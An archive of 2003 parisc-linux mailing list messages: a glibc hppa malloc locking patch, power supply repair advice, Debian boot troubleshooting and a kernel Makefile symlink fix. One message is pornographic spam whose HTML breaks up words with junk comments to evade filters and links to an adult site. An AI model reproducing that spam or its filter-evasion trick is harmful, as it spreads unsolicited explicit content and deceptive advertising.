Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 10 16:20:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0066D49F9
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Oct 2003 16:20:20 -0600 (MDT)
Original-Received: from [62.235.120.48] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1A85cR-0008M5-Cj; Sat, 11 Oct 2003 00:20:19 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030930 Debian/1.4-5
X-Accept-Language: en
In-Reply-To: <20031010204152.GE6454@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19787

Hi Carlos,

Thanks for all.
Just a question: for testing goal only are you going to update p-l glibc 
cvs or put all those material somewhere (eg ftp.p-l.org)?

Thanks again,
    Joel

Carlos O'Donell wrote:

>libc-alpha,
>
>Machine specific hppa malloc locking functions.
>
>Thanks to Wolfram for making the required changes, and reminding me to
>submit my patches ;)
>
>Cheers,
>Carlos.
>===
> linuxthreads/sysdeps/unix/sysv/linux/hppa/malloc-machine.h |   73 ++++++++++
> 1 files changed, 73 insertions(+)
>===
>
>2003-10-10  Carlos O'Donell  <carlos@baldric.uwo.ca>
>
>	* linuxthreads/sysdeps/unix/sysv/linux/hppa/malloc-machine.h: New.
>
>--- libc/linuxthreads/sysdeps/unix/sysv/linux/hppa/malloc-machine.h.orig	1969-12-31 19:00:00.000000000 -0500
>+++ libc/linuxthreads/sysdeps/unix/sysv/linux/hppa/malloc-machine.h	2003-10-04 12:52:09.000000000 -0400
>@@ -0,0 +1,73 @@
>+/* HP-PARISC macro definitions for mutexes, thread-specific data 
>+   and parameters for malloc.
>+   Copyright (C) 2003 Free Software Foundation, Inc.
>+   This file is part of the GNU C Library.
>+   Contributed by Carlos O'Donell <carlos@baldric.uwo.ca>, 2003.
>+   
>+   The GNU C Library is free software; you can redistribute it and/or
>+   modify it under the terms of the GNU Lesser General Public
>+   License as published by the Free Software Foundation; either
>+   version 2.1 of the License, or (at your option) any later version.
>+
>+   The GNU C Library is distributed in the hope that it will be useful,
>+   but WITHOUT ANY WARRANTY; without even the implied warranty of
>+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
>+   Lesser General Public License for more details.
>+
>+   You should have received a copy of the GNU Lesser General Public
>+   License along with the GNU C Library; if not, write to the Free
>+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
>+   02111-1307 USA.  */
>+
>+#ifndef _MALLOC_MACHINE_H
>+#define _MALLOC_MACHINE_H
>+
>+#undef thread_atfork_static
>+
>+#include <atomic.h>
>+#include <bits/libc-lock.h>
>+
>+__libc_lock_define (typedef, mutex_t)
>+
>+/* Since our lock structure does not tolerate being initialized to zero, we must
>+   modify the standard function calls made by malloc */
>+#  define mutex_init(m)		\
>+	__libc_maybe_call (__pthread_mutex_init, (m, NULL), \
>+		(((m)->__m_lock.__spinlock = __LT_SPINLOCK_INIT),(*(int *)(m))) )
>+#  define mutex_lock(m)		\
>+	__libc_maybe_call (__pthread_mutex_lock, (m), \
>+			(__load_and_clear(&((m)->__m_lock.__spinlock)), 0))
>+#  define mutex_trylock(m)	\
>+	__libc_maybe_call (__pthread_mutex_trylock, (m), \
>+			(*(int *)(m) ? 1 : (__load_and_clear(&((m)->__m_lock.__spinlock)), 0)))
>+#  define mutex_unlock(m)	\
>+	__libc_maybe_call (__pthread_mutex_unlock, (m), \
>+			(((m)->__m_lock.__spinlock = __LT_SPINLOCK_INIT), (*(int *)(m))) )
>+	
>+/* This is defined by newer gcc version unique for each module.  */
>+extern void *__dso_handle __attribute__ ((__weak__));
>+
>+#include <fork.h>
>+
>+#ifdef SHARED
>+# define thread_atfork(prepare, parent, child) \
>+   __register_atfork (prepare, parent, child, __dso_handle)
>+#else
>+# define thread_atfork(prepare, parent, child) \
>+   __register_atfork (prepare, parent, child,				      \
>+		      &__dso_handle == NULL ? NULL : __dso_handle)
>+#endif
>+
>+/* thread specific data for glibc */
>+
>+#include <bits/libc-tsd.h>
>+
>+typedef int tsd_key_t[1];	/* no key data structure, libc magic does it */
>+__libc_tsd_define (static, MALLOC)	/* declaration/common definition */
>+#define tsd_key_create(key, destr)	((void) (key))
>+#define tsd_setspecific(key, data)	__libc_tsd_set (MALLOC, (data))
>+#define tsd_getspecific(key, vptr)	((vptr) = __libc_tsd_get (MALLOC))
>+
>+#include <sysdeps/generic/malloc-machine.h>
>+
>+#endif /* !defined(_MALLOC_MACHINE_H) */
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>  
>




From - Thu Nov 08 21:29:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Fwd: Re: Repair of BM200-3601]
Date: Sat, 11 Oct 2003 00:27:56 +0200
Organization: private
Lines: 118
Approved: news@gmane.org
Message-ID: <3F87326C.2010705@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------060609080300000004040500"
X-Trace: ger.gmane.org 1416622864 32504 80.91.229.3 (22 Nov 2014 02:21:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:04 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 10 16:28:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep15-int.chello.at (viefep15-int.chello.at [213.46.255.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 45C1649FD
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Oct 2003 16:27:59 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep15-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with ESMTP
          id <20031010222757.USKX17534.viefep15-int.chello.at@gmx.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Sat, 11 Oct 2003 00:27:57 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020830
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19788

This is a multi-part message in MIME format.
--------------060609080300000004040500
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

The Mail to "Ed J.M. Veling" was bounced by a BLACKHOLE LIST filter.
So I resend it to PA-RISC group !

Bye
Christoph

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at

--------------060609080300000004040500
Content-Type: message/rfc822;
 name="Re: Repair of BM200-3601"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="Re: Repair of BM200-3601"

>From - Fri Oct 10 23:57:34 2003
X-Mozilla-Status2: 00800000
Message-ID: <3F872B4A.1050909@gmx.at>
Date: Fri, 10 Oct 2003 23:57:30 +0200
From: Christoph Plattner <christoph.plattner@gmx.at>
Organization: private
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020830
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "Ed J.M. Veling" <Ed.Veling@CiTG.TUDelft.nl>
Subject: Re: Repair of BM200-3601
References: <3F8131B5.DD49FB72@CiTG.TUDelft.nl>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Sorry to hear that .... I also suffer, if my "old machines"
have troubles ....

Hello,
do we speak here about the same type of power supply, then I may
help you perhaps.

Ths small SIMM-lile module on the 60-pin conntector side, is a
supervision module generating the "emergency stop" signal to
the power supply, if there is a problem. Further it generates the
the RESET signal for the machine (or better the POWER GOOD signal).

As I remember the schematics, there are 6 reasons for switching
off the power supply:
Over 5V, 12V, under -5, -12V, over current and over temperature.
You have to find out, which is true here.

Check the type, and reply if you need further help ....
Christoph



Ed J.M. Veling wrote:
> Dear Christoph,
> 
> With interest I have read your contribution w.r.t. the repair of the
> BM200-3601 power supply.
> We have comparable problems: 2 power supplies have worked for 11 years and
> then suddenly
> almost at the same time they stopped. It is possible to restart these UNIX
> workstations
> but after some time, sometimes one hour, sometimes 2 days later, they stop
> again.
> By the way, these workstations are located in a air-conditioned room.
> So, I was very happy to read your suggestion to put some resistance into the
> power supply.
> At our department,  a technical person has done this repairment. Last tuesday
> I restarted the workstation
> and I was very happy to see it operating. However, after two days, I was quite
> disappointed: again,
> the workstation was dead.
> Now, you are my last resort. Do you have maybe another suggestion to keep
> these power supplies
> alive ?
> I thank you very well in advance.
> Yours sincerely,
> 
> Ed Veling
> 
> 
> 
> --
> Dr. E.J.M. Veling,
> Delft University of Technology,
> Faculty of Civil Engineering and Geosciences,
> Department of Water Management,
> Section for Hydrology and Ecology,
> Stevinweg 1,   NL-2628 CN  Delft, The Netherlands,
> P.O. Box 5048, NL-2600 GA  Delft, The Netherlands,
> phone:  (+31)152783156 ((+31)152785074),
> fax:    (+31)152785915,
> room:   4.89,
> e-mail: Ed.Veling@CiTG.TUDelft.nl
> URL:    http://hydrology.citg.tudelft.nl
> 
> 
> 
> 



-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at


--------------060609080300000004040500--



From - Thu Nov 08 21:29:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IBM 3151 on K200 in Debian 3.0
Date: Sat, 11 Oct 2003 10:04:09 +0200
Lines: 63
Approved: news@gmane.org
Message-ID: <7E4D5636-FBC1-11D7-BD3F-0030656F07A2@esiee.fr>
References: <9C146012-FB5A-11D7-B35B-0030657CC792@udallas.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622864 32508 80.91.229.3 (22 Nov 2014 02:21:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Walker White <wmwhite@udallas.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 11 02:04:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id B5841484E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 11 Oct 2003 02:04:11 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id AD0CE49F06; Sat, 11 Oct 2003 10:04:10 +0200 (CEST)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 395F949C21; Sat, 11 Oct 2003 10:04:10 +0200 (CEST)
In-Reply-To: <9C146012-FB5A-11D7-B35B-0030657CC792@udallas.edu>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19789

Le vendredi, 10 oct 2003, =E0 21:47 Europe/Paris, Walker White a =E9crit =
:

> Okay.  Almost done here.  That swap trick DID work.  It just did not=20=

> read the K200 manual to see that HP boots from the end of the SCSI=20
> chain and not the beginning.  So everything is loaded and it boots.
>
> However my boot crashes right after loading cron.  This is possibly a=20=

> result of the fact that some of my packages came from the debian CD=20
> and not the netinstall.  Here is the error:
>
> ***
> Starting periodic command scheduler: cron
> /bin/sh: /dev/ttyB0: No such device
> /bin/sh: /dev/ttyB0: No such device
> /bin/sh: /dev/ttyB0: No such device
> /bin/sh: /dev/ttyB0: No such device
> /bin/sh: /dev/ttyB0: No such device
> /bin/sh: /dev/ttyB0: No such device
> /bin/sh: /dev/ttyB0: No such device
> /bin/sh: /dev/ttyB0: No such device
> /bin/sh: /dev/ttyB0: No such device
> /bin/sh: /dev/ttyB0: No such device
> INIT: Id "T0" respawning to fast: disabled for 5 minutes
> INIT: no more processes left in this runlevel
>
> The machine then sleeps for 5 minutes and repeats the error on wake-up=20=

> (so I never get a login).
>
> Using the installation CD, I have opened a shell to verify that there=20=

> is indeed a /dev/ttyB0.  Is this error because I got packages from a=20=

> source other than the netinst CD or is there something else going on=20=

> here?

Looks like something is screwed because of mixed package (most likely=20
makedev stuff).
My best recommandation would be to upgrade at least to Debian testing=20
(sarge).
To do so, you have to change /etc/apt/sources.list, and run apt-get=20
update; apt-get dist-upgrade
Another guess: was the kernel package installed from the netinst or=20
from Debian 3.0?
If the latter, then /dev/ttyB0 might be there but not related to any=20
kernel driver (since 3.0 doesn't handle /dev/ttyB0).

The hangs you experienced during install are kinda weird, i hope that=20
our ISOs aren't corrupted, i'll try to check that at some point.

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/=




From - Thu Nov 08 21:29:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: k-2.6.0-test7-pa5: failled 2 pass
Date: Sun, 12 Oct 2003 11:48:34 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <3F893F92.4060606@tiscali.be>
References: <3F8739E2.2050205@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622864 32510 80.91.229.3 (22 Nov 2014 02:21:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:04 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 12 05:48:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7357C48C1
	for <parisc-linux@parisc-linux.org>; Sun, 12 Oct 2003 05:48:36 -0600 (MDT)
Original-Received: from [62.235.120.226] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1A8eiB-0004OH-3Z; Sun, 12 Oct 2003 13:48:35 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20031010 Debian/1.4-6
X-Accept-Language: en
In-Reply-To: <3F8739E2.2050205@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19790


Joel Soete wrote:
> Hi pa,
> 
> I 'make defconfig' then 'make vmlinux' on a fresh cvs tree and obtain a 
> vmlinux :)
> 
> As working on a c110 I just forget to change ccio-dma.c parameter and so 
> just do this change and 'make vmlinux'.
> This failled:
> hpalin:/Debian-apt/SRC/linux-2.6.0-test7-pa5# make vmlinux
> Making user->usr/include/linux 
> symlink
> ln: `include/user': File exists
> make: *** [include/user] Error 1
> 
> thanks in advance,
>    joel
> 
hmm

Even after a distclean, I got same message when I retry 'make vmlinux'?

Finaly, just remove manually include/user and include/user-asm help.

Cheers,
	Joel



From - Thu Nov 08 21:29:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: k-2.6.0-test7-pa5: failled 2 pass
Date: Sun, 12 Oct 2003 11:59:13 +0000
Lines: 54
Approved: news@gmane.org
Message-ID: <3F894211.2090106@tiscali.be>
References: <3F8739E2.2050205@tiscali.be> <3F893F92.4060606@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622865 32512 80.91.229.3 (22 Nov 2014 02:21:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:05 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 12 05:59:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6005548C6
	for <parisc-linux@parisc-linux.org>; Sun, 12 Oct 2003 05:59:15 -0600 (MDT)
Original-Received: from [62.235.120.226] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1A8esU-0004jb-Ej; Sun, 12 Oct 2003 13:59:14 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20031010 Debian/1.4-6
X-Accept-Language: en
In-Reply-To: <3F893F92.4060606@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19791

May be the fix should be:
--- Makefile.orig	2003-10-12 13:50:43.000000000 +0200
+++ Makefile	2003-10-12 13:57:57.000000000 +0200
@@ -627,8 +627,8 @@
  # Can't rely on distributing these syminks as patches
  include/user:
  	@echo '  Making user->usr/include/linux symlink'
-	@ln -s ../usr/include/linux $@
-	@ln -s ../usr/include/asm-$(ARCH) include/user-asm
+	@ln -fsn ../usr/include/linux $@
+	@ln -fsn ../usr/include/asm-$(ARCH) include/user-asm

  # 	Split autoconf.h into include/linux/config/*

hth,
	Joel

Joel Soete wrote:
> 
> 
> Joel Soete wrote:
> 
>> Hi pa,
>>
>> I 'make defconfig' then 'make vmlinux' on a fresh cvs tree and obtain 
>> a vmlinux :)
>>
>> As working on a c110 I just forget to change ccio-dma.c parameter and 
>> so just do this change and 'make vmlinux'.
>> This failled:
>> hpalin:/Debian-apt/SRC/linux-2.6.0-test7-pa5# make vmlinux
>> Making user->usr/include/linux symlink
>> ln: `include/user': File exists
>> make: *** [include/user] Error 1
>>
>> thanks in advance,
>>    joel
>>
> hmm
> 
> Even after a distclean, I got same message when I retry 'make vmlinux'?
> 
> Finaly, just remove manually include/user and include/user-asm help.
> 
> Cheers,
>     Joel
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:29:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dominique Cervantes" <y62bbvg@aol.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Whats it doing?
Date: Sun, 12 Oct 03 10:36:57 GMT
Lines: 53
Approved: news@gmane.org
Message-ID: <v2r$$k3v$88$x@q5v.tt0.a.6pqw>
Reply-To: "Dominique Cervantes" <y62bbvg@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="EC3E6_F5_B2CE_.7B.2BAA4B"
X-Trace: ger.gmane.org 1416622865 32515 80.91.229.3 (22 Nov 2014 02:21:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:05 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 12 06:40:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from c-67-163-255-134.client.comcast.net (c-67-163-255-134.client.comcast.net [67.163.255.134])
	by dsl2.external.hp.com (Postfix) with SMTP id 710B34A42
	for <parisc-linux@parisc-linux.org>; Sun, 12 Oct 2003 06:40:38 -0600 (MDT)
Original-Received: from [110.85.95.90] by c-67-163-255-134.client.comcast.net with ESMTP id 82FDDBBBC05; Sun, 12 Oct 2003 10:36:57 +0100
X-Mailer: AOL 7.0 for Windows US sub 118
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19792

--EC3E6_F5_B2CE_.7B.2BAA4B
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<body text=3D"#000000" link=3D"#000000" vlink=3D"#000000" alink=3D"#000000=
">
<div align=3D"center"><!-- confidential --><font size=3D"5" color=3D"#0000=
00" face=3D"Arial">There's a
  P<!-- peptide -->is<!-- plain -->s P<!-- flagstone -->art=
<!-- access -->y on and you're all invite<!-- actinide -->d!</fo=
nt>
<table width=3D"541" height=3D"143" border=3D"6" bgcolor=3D"#FFFF00" class=
=3D"border" bordercolor=3D"#FFCC00"><!-- isentropic -->
<tr><!-- corrigenda --><td height=3D"131" align=3D"center" valign=3D"mid=
dle" class=3D"txt" style=3D"padding-left: 15; padding-right: 15"
bgcolor=3D=
"#FFFF99">A
 Very w<!-- pigskin -->e<!-- climactic -->t site for those who lo<=
!-- teletypesetting -->ve f<!-- avocet -->il<!-- surtax -->thy pi=
<!-- townsman -->ss<!-- burst -->ing 
 fun during s<!-- rhine -->e<!-- tektronix -->x. HU<!-- =
lovelorn -->GE database of qua<!-- synopses -->lity pi<!-- =
cultural -->ctur<!-- til -->es 
 and vid<!-- barnstorm -->eos: Pi<!-- everyday -->ss s<!-- =
hero -->how<!-- challenge -->ers, G<!-- oct -->i<!-- =
lessen -->rls p<!-- demurred -->iss<!-- campaign -->ing, Hi<=
!-- coven -->dden toil<!-- northern -->et 
 s<!-- buggy -->pyc<!-- breast -->ams, even fe<!-- =
staunch -->ma<!-- dillon -->le e<!-- diehard -->jacu<!-- =
kangaroo -->latio<!-- risible -->ns! here's a pi<!-- =
sunburnt -->ss p<!-- highboy -->ar<!-- humidistat -->ty on and =
you're all invited to C<!-- megabyte -->U<!-- amherst -->M! A
 V<!-- pretentious -->E<!-- nih -->RY w<!-- attica -->et s=
ite for those who love f<!-- balk -->il<!-- cultural -->thy p<=
!-- reave -->iss<!-- clifton -->ing fu<!-- camber -->n!<=
br><br><a href=3D"http://chloroplast@www.surfbling.com/pt/index.html?=
pinxter">E<!-- bruit -->nt<!-- impracticable -->er he<!-- =
verb -->re to experie<!-- salaam -->nce
 it</a></td></tr></table><a href=3D"http://arson@www.surfbling.com/=
pt/index.html?bogeymen">C<!-- hundredfold -->lic<!-- wolfe -->=
k 
 he<!-- bull -->re for ha<!-- ballerina -->rdco<!-- =
adherent -->re m<!-- foxtail -->ov<!-- indolent -->ies, li<!-=
- demography -->ve p<!-- neural -->is<!-- rio -->sing sh<=
!-- gee -->ows, toi<!-- drury -->let ca<!-- snuggly -=
->ms,<br> x<!-- blab -->xx p<!-- chantey -->i<!-- =
globule -->ss pi<!-- latus -->cs and 
 so<!-- vietnamese -->aki<!-- boorish -->ng w<!-- briton -->e=
t or<!-- dressy -->gie<!-- sonora -->s!</a></div></body>

--EC3E6_F5_B2CE_.7B.2BAA4B--



From - Thu Nov 08 21:29:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] traps.c 2.4 alignement [was: 2.6.0-test6-pa6 on
 b2k finaly crash]
Date: Sun, 12 Oct 2003 13:28:15 +0000
Lines: 59
Approved: news@gmane.org
Message-ID: <3F8956EF.8050403@tiscali.be>
References: <3F5CB6FB0000CBFC@ocpmta1.freegates.net> <3F803388.5090304@tiscali.be> <3F804FC9.9040401@tiscali.be> <20031006172856.GB19370@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
